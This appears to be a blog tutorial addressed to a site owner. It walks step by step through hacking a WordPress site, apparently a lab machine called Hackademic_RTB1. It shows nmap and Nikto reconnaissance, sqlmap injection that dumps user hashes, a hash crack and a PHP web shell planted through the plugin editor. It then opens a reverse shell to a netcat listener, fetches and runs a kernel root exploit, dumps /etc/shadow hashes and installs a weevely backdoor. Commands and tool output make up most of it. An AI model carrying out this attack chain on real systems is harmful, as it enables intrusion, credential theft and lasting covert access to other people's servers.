How Hackers Target and Hack Your Site
Have you ever wondered about Hackers find their way into websites and how they bring them down?
The answer to this question may be difficult to determine, simply because there are so many ways to hack a site. Our aim in this article to show you the techniques most used by hackers in targeting and hacking your site!
Let’s suppose that this is your site: hack-test.com
Let’s ping this site to get the server IP:
Now we have 173.236.138.113 – this is the server IP where our target site is hosted.
To find other sites hosted on the same server, we will use sameip.org:
Same IP
26 sites hosted on IP Address 173.236.138.113
26 sites hosted on IP Address 173.236.138.113
ID Domain Site Link
1 hijackthisforum.com hijackthisforum.com
2 sportforum.net sportforum.net
3 freeonlinesudoku.net freeonlinesudoku.net
4 cosplayhell.com cosplayhell.com
5 videogamenews.org videogamenews.org
6 gametour.com gametour.com
7 qualitypetsitting.net qualitypetsitting.net
8 brendanichols.com brendanichols.com
9 8ez.com 8ez.com
10 hack-test.com hack-test.com
11 kisax.com kisax.com
12 paisans.com paisans.com
13 mghz.com mghz.com
14 debateful.com debateful.com
15 jazzygoodtimes.com jazzygoodtimes.com
16 fruny.com fruny.com
17 vbum.com vbum.com
18 wuckie.com wuckie.com
19 force5inc.com force5inc.com
20 virushero.com virushero.com
21 twincitiesbusinesspeernetwork.com twincitiesbusinesspeernetwork.com
22 jennieko.com jennieko.com
23 davereedy.com davereedy.com
24 joygarrido.com joygarrido.com
25 prismapp.com prismapp.com
26 utiligolf.com utiligolf.com
Twenty-six other websites are hosted on this server [173.236.138.113]. Many hackers will target all other sites on the same server in order to hack your site. But for the purpose of study, we will target your site only and put aside hacking the other sites on same server.
We’ll need more information about your site, such as:
- DNS records (A, NS, TXT, MX and SOA)
- Web Server Type (Apache, IIS, Tomcat)
- Registrar (the company that owns your domain)
- Your name, address, email and phone
- Scripts that your site uses (php, asp, asp.net, jsp, cfm)
- Your server OS (Unix,Linux,Windows,Solaris)
- Your server open ports to internet (80, 443, 21, etc.)
We have discovered that your site DNS records are:
HACK-TEST.COM DNS RECORDS
hack-test.com A 4 hours 173.236.138.113 ()
hack-test.com SOA 4 hours ns1.dreamhost.com. hostmaster.dreamhost.com. 2011032301 15283
1800 1814400 14400
hack-test.com NS 4 hours ns1.dreamhost.com
hack-test.com NS 4 hours ns3.dreamhost.com
hack-test.com NS 4 hours ns2.dreamhost.com
www.hack-test.com A 4 hours 173.236.138.113 ()
Let’s determine the web server type:
As you see, your site web server is Apache. We will determine its version later.
HACK-TEST.COM SITE INFORMATION
IP: 173.236.138.113
Website Status: active
Server Type: Apache
Alexa Trend/Rank: 1 Month: 3,213,968 3 Month: 2,161,753
Page Views per Visit: 1 Month: 2.0 3 Month: 3.7
We have now got your registrar and other vital information about you. We can find the type of scripts on your site (the OS type, web server version) by using a cool tool in backtrack 5 R1 called Whatweb:
Now we found that your site is using a famous php script called WordPress, that your server os is Fedora Linux and that your web server version is (apache 2.2.15), let’s find open ports in your server.
To do this, we will use nmap:
1 – Find services that run on server
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| root@bt:/# nmap -sV hack-test.com Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-12-28 06:39 EET Nmap scan report for hack-test.com (192.168.1.2) Host is up (0.0013s latency). Not shown: 998 filtered ports PORT STATE SERVICE VERSION 22/tcp closed ssh 80/tcp open http Apache httpd 2.2.15 ((Fedora)) MAC Address: 00:0C:29:01:8A:4D (VMware) Nmap done: 1 IP address (1 host up) scanned in 11.56 seconds |
2 – Find server OS
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| root@bt:/# nmap -O hack-test.com Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2011-12-28 06:40 EET Nmap scan report for hack-test.com (192.168.1.2) Host is up (0.00079s latency). Not shown: 998 filtered ports PORT STATE SERVICE 22/tcp closed ssh 80/tcp open http MAC Address: 00:0C:29:01:8A:4D (VMware) Device type: general purpose Running: Linux 2.6.X OS details: Linux 2.6.22 (Fedora Core 6) Network Distance: 1 hop OS detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 7.42 seconds |
Only port 80 is open and OS is Linux 2.6.22(Fedora Core 6)
Now that we have gathered all the important information about your site, let’s scan it for vulnerabilities like
Sql injection – Blind sql injection – LFI – RFI – XSS – CSRF, and so forth.
We will use Nikto.pl to gather info, perhaps, some vulnerabilities:
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| - Nikto v2.1.4 --------------------------------------------------------------------------- + Target IP: 192.168.1.2 + Target Hostname: hack-test.com + Target Port: 80 + Start Time: 2011-12-29 06:50:03 --------------------------------------------------------------------------- + Server: Apache/2.2.15 (Fedora) + ETag header found on server, inode: 12748, size: 1475, mtime: 0x4996d177f5c3b +
Apache/2.2.15 appears to be outdated (current is at least
Apache/2.2.17). Apache 1.3.42 (final release) and 2.0.64 are also
current. + Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE + OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST + OSVDB-3268: /icons/: Directory indexing found. + OSVDB-3233: /icons/README: Apache default file found. + 6448 items checked: 1 error(s) and 6 item(s) reported on remote host + End Time: 2011-12-29 06:50:37 (34 seconds) --------------------------------------------------------------------------- + 1 host(s) tested |
We will also use W3AF. You can find this tool in backtrack 5 R1
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| root@bt:/pentest/web/w3af# ./w3af_gui Starting w3af, running on: Python version: 2.6.5 (r265:79063, Apr 16 2010, 13:57:41) [GCC 4.4.3] GTK version: 2.20.1 PyGTK version: 2.17.0 w3af - Web Application Attack and Audit Framework Version: 1.2 Revision: 4605 Author: Andres Riancho and the w3af team. |
We will insert our site URL and choose full audit option:
After some time, the scan will finish and you will see
Your site is vulnerable to sql injection, xss and others!
Let’s investigate the sql injection vulnerability:
http://hack-test.com/Hackademic_RTB1/?cat=d%27z%220
This is the vulnerable url and cat is the vulnerable parameter.
So, let’s exploit this vulnerability:
We will find that exploitating this vuln failed, so we will use sqlmap to the job and dump all database information that we need to hack this site J
Using sqlmap with –u url
After some seconds you will see
Type n and press enter to continue
As you see your site is vulnerable to error-based sql injection and your mysql database version is 5
Let’s find all databases in your site by adding “–dbs ”
Now we found 3 databases
We will dump wordpress database tables by adding “–D wordpress –tables ”
We will find all wordpress tables
We want to dump “wp_users” table, so we will find all users (admin?) information (user is and password hash) and try to crack hash and enter wordpress control panel ( wp-admin)
We will columns of “wp_users” table by adding “-T wp_users –columns ”
We will find 22 columns
We just need to dump to columns, so we will dump (user_login and user_pass ) columns by adding
-C user_login,user_pass –dump
We will find important information; we found now users and pass hashes
but we want to crack those hashes to clear text passwords. We will use the online site “http://www.onlinehashcrack.com/free-hash-reverse.php”
And try to crack this hash 7CBB3252BA6B7E9C422FAC5334D22054
And clear text password is q1w2e3
And user name is “GeorgeMiller”
We will login with these details in “wp-admin ”
And we are in!
Ok let’s try to upload php web shell to run some linux commands on your site server J
We will edit a plugin in wordpress called “Textile ” or any plugin you found in plugins page.
And choose to edit it
We will insert php web shell instead of real plugin. After we’ve done this, we will hit “update file” and browse to our new php shell
Woo, the php shell works. Now we can manipulate your site files, but we want only to get root on your server and hack all other sites too.
We will choose “back-connect “tab from php web shell and make back connection to our ip “192.168.1.6″ on port “5555″
But before we hit connect, we first make netcat listen on port “5555″ on our attacker machine
Now hit connect and you will see:
Let’s try some linux commands
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| id uid=48(apache) gid=489(apache) groups=489(apache) pwd /var/www/html/Hackademic_RTB1/wp-content/plugins uname -a Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux |
Id command is used to show us what user id, group.
pwd command is used to show us our current path on server
uname –a command is used to show us some information about kernel version
Ok, now we knew that server kernel version is 2.6.31.5-127.fc12.1686
Let’s search in exploit-db.com for exploit to this version or newer version
We will type “kernel 2.6.31 ”
After I tried all of them on your server, none of them worked, but then I tried a new exploit
I opened this url and copied this link
http://www.exploit-db.com/download/15285
And made this command on my netcat shell
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| wget http://www.exploit-db.com/download/15285 -O roro.c --2011-12-28 00:48:01-- http://www.exploit-db.com/download/15285 Resolving www.exploit-db.com... 199.27.135.111, 199.27.134.111 Connecting to www.exploit-db.com|199.27.135.111|:80... connected. HTTP request sent, awaiting response... 301 Moved Permanently Location: http://www.exploit-db.com/download/15285/ [following] --2011-12-28 00:48:02-- http://www.exploit-db.com/download/15285/ Connecting to www.exploit-db.com|199.27.135.111|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 7154 (7.0K) [application/txt] Saving to: `roro.c' 0K ...... 100% 29.7K=0.2s |
We used wget command to fetch exploit from exploit-db.com and used –O to rename it to roro.c
Note: linux kernel exploits mostly is being delopped in c language so we saved it in .c extension, just view exploit source and you will find
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/utsname.h>
#define RECVPORT 5555
#define SENDPORT 6666
int prep_sock(int port)
{
int s, ret;
struct sockaddr_in addr;
s = socket(PF_RDS, SOCK_SEQPACKET, 0);
if(s < 0) {
printf(“[*] Could not open socket.\n”);
exit(-1);
}
memset(&addr, 0, sizeof(addr));
All the above lines indicate that this is exploit is written in C language
After we saved our exploit on server, we will compile it to elf format by typing
gcc roro.c –o roro
And run our exploit by typing
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| ./roro [*] Linux kernel >= 2.6.30 RDS socket exploit [*] by Dan Rosenberg [*] Resolving kernel addresses... [+] Resolved rds_proto_ops to 0xe09f0b20 [+] Resolved rds_ioctl to 0xe09db06a [+] Resolved commit_creds to 0xc044e5f1 [+] Resolved prepare_kernel_cred to 0xc044e452 [*] Overwriting function pointer... [*] Linux kernel >= 2.6.30 RDS socket exploit [*] by Dan Rosenberg [*] Resolving kernel addresses... [+] Resolved rds_proto_ops to 0xe09f0b20 [+] Resolved rds_ioctl to 0xe09db06a [+] Resolved commit_creds to 0xc044e5f1 [+] Resolved prepare_kernel_cred to 0xc044e452 [*] Overwriting function pointer... [*] Triggering payload... [*] Restoring function pointer... |
Id
We will find that we are root J
uid=0(root) gid=0(root)
We can now view /etc/shadow file
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| cat /etc/shadow root:$6$4l1OVmLPSV28eVCT$FqycC5mozZ8mqiqgfudLsHUk7R1EMU/FXw3pOcOb39LXekt9VY6HyGkXcLEO.ab9F9t7BqTdxSJvCcy.iYlcp0:14981:0:99999:7:::
bin:*:14495:0:99999:7::: daemon:*:14495:0:99999:7::: adm:*:14495:0:99999:7::: lp:*:14495:0:99999:7::: sync:*:14495:0:99999:7::: shutdown:*:14495:0:99999:7::: halt:*:14495:0:99999:7::: mail:*:14495:0:99999:7::: uucp:*:14495:0:99999:7::: operator:*:14495:0:99999:7::: games:*:14495:0:99999:7::: gopher:*:14495:0:99999:7::: ftp:*:14495:0:99999:7::: nobody:*:14495:0:99999:7::: vcsa:!!:14557:::::: avahi-autoipd:!!:14557:::::: ntp:!!:14557:::::: dbus:!!:14557:::::: rtkit:!!:14557:::::: nscd:!!:14557:::::: tcpdump:!!:14557:::::: avahi:!!:14557:::::: haldaemon:!!:14557:::::: openvpn:!!:14557:::::: apache:!!:14557:::::: saslauth:!!:14557:::::: mailnull:!!:14557:::::: smmsp:!!:14557:::::: smolt:!!:14557:::::: sshd:!!:14557:::::: pulse:!!:14557:::::: gdm:!!:14557:::::: p0wnbox.Team:$6$rPArLuwe8rM9Avwv$a5coOdUCQQY7NgvTnXaFj2D5SmggRrFsr6TP8g7IATVeEt37LUGJYvHM1myhelCyPkIjd8Yv5olMnUhwbQL76/:14981:0:99999:7:::
mysql:!!:14981:::::: |
And view /etc/passwd file
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| cat /etc/passwd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin gopher:x:13:30:gopher:/var/gopher:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin vcsa:x:69:499:virtual console memory owner:/dev:/sbin/nologin avahi-autoipd:x:499:498:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin ntp:x:38:38::/etc/ntp:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin rtkit:x:498:494:RealtimeKit:/proc:/sbin/nologin nscd:x:28:493:NSCD Daemon:/:/sbin/nologin tcpdump:x:72:72::/:/sbin/nologin avahi:x:497:492:avahi-daemon:/var/run/avahi-daemon:/sbin/nologin haldaemon:x:68:491:HAL daemon:/:/sbin/nologin openvpn:x:496:490:OpenVPN:/etc/openvpn:/sbin/nologin apache:x:48:489:Apache:/var/www:/sbin/nologin saslauth:x:495:488:"Saslauthd user":/var/empty/saslauth:/sbin/nologin mailnull:x:47:487::/var/spool/mqueue:/sbin/nologin smmsp:x:51:486::/var/spool/mqueue:/sbin/nologin smolt:x:494:485:Smolt:/usr/share/smolt:/sbin/nologin sshd:x:74:484:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin pulse:x:493:483:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin gdm:x:42:481::/var/lib/gdm:/sbin/nologin p0wnbox.Team:x:500:500:p0wnbox.Team:/home/p0wnbox.Team:/bin/bash mysql:x:27:480:MySQL Server:/var/lib/mysql:/bin/bash |
We can crack all users passwords with the “john the ripper” tool.
But we will not do this; we want to maintain access on this server so we can come to visit/hack it any time J
We will use weevely to a small and encoded php backdoor with the password protected and upload this php backdoor to our server.
Let’s do it
1 – weevely usage options :
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| root@bt:/pentest/backdoors/web/weevely# ./main.py - Weevely 0.3 - Generate and manage stealth PHP backdoors. Copyright (c) 2011-2012 Weevely Developers Website: http://code.google.com/p/weevely/ Usage: main.py [options] Options: -h, --help show this help message and exit -g, --generate Generate backdoor crypted code, requires -o and -p . -o OUTPUT, --output=OUTPUT Output filename for generated backdoor . -c COMMAND, --command=COMMAND Execute a single command and exit, requires -u and -p . -t, --terminal Start a terminal-like session, requires -u and -p . -C CLUSTER, --cluster=CLUSTER Start in cluster mode reading items from the give file, in the form 'label,url,password' where label is optional. -p PASSWORD, --password=PASSWORD Password of the encrypted backdoor . -u URL, --url=URL Remote backdoor URL . |
2 – Creating a php backdoor with password koko by using weevely:
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| root@bt:/pentest/backdoors/web/weevely# ./main.py -g -o hax.php -p kokoWeevely 0.3 - Generate and manage stealth PHP backdoors. Copyright (c) 2011-2012 Weevely Developers + Backdoor file 'hax.php' created with password 'koko'. |
3 – Upload our php backdoor to server using php web shell
And after we upload it we will connect to it using
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| root@bt:/pentest/backdoors/web/weevely# ./main.py -t -u http://hack-test.com/Hackademic_RTB1/wp-content/plugins/hax.php -p koko Weevely 0.3 - Generate and manage stealth PHP backdoors. Copyright (c) 2011-2012 Weevely Developers Website: http://code.google.com/p/weevely/ + Using method 'system()'. + Retrieving terminal basic environment variables.[apache@HackademicRTB1 /var/www/html/Hackademic_RTB1/wp-content/plugins] |
Testing our hax.php backdoor
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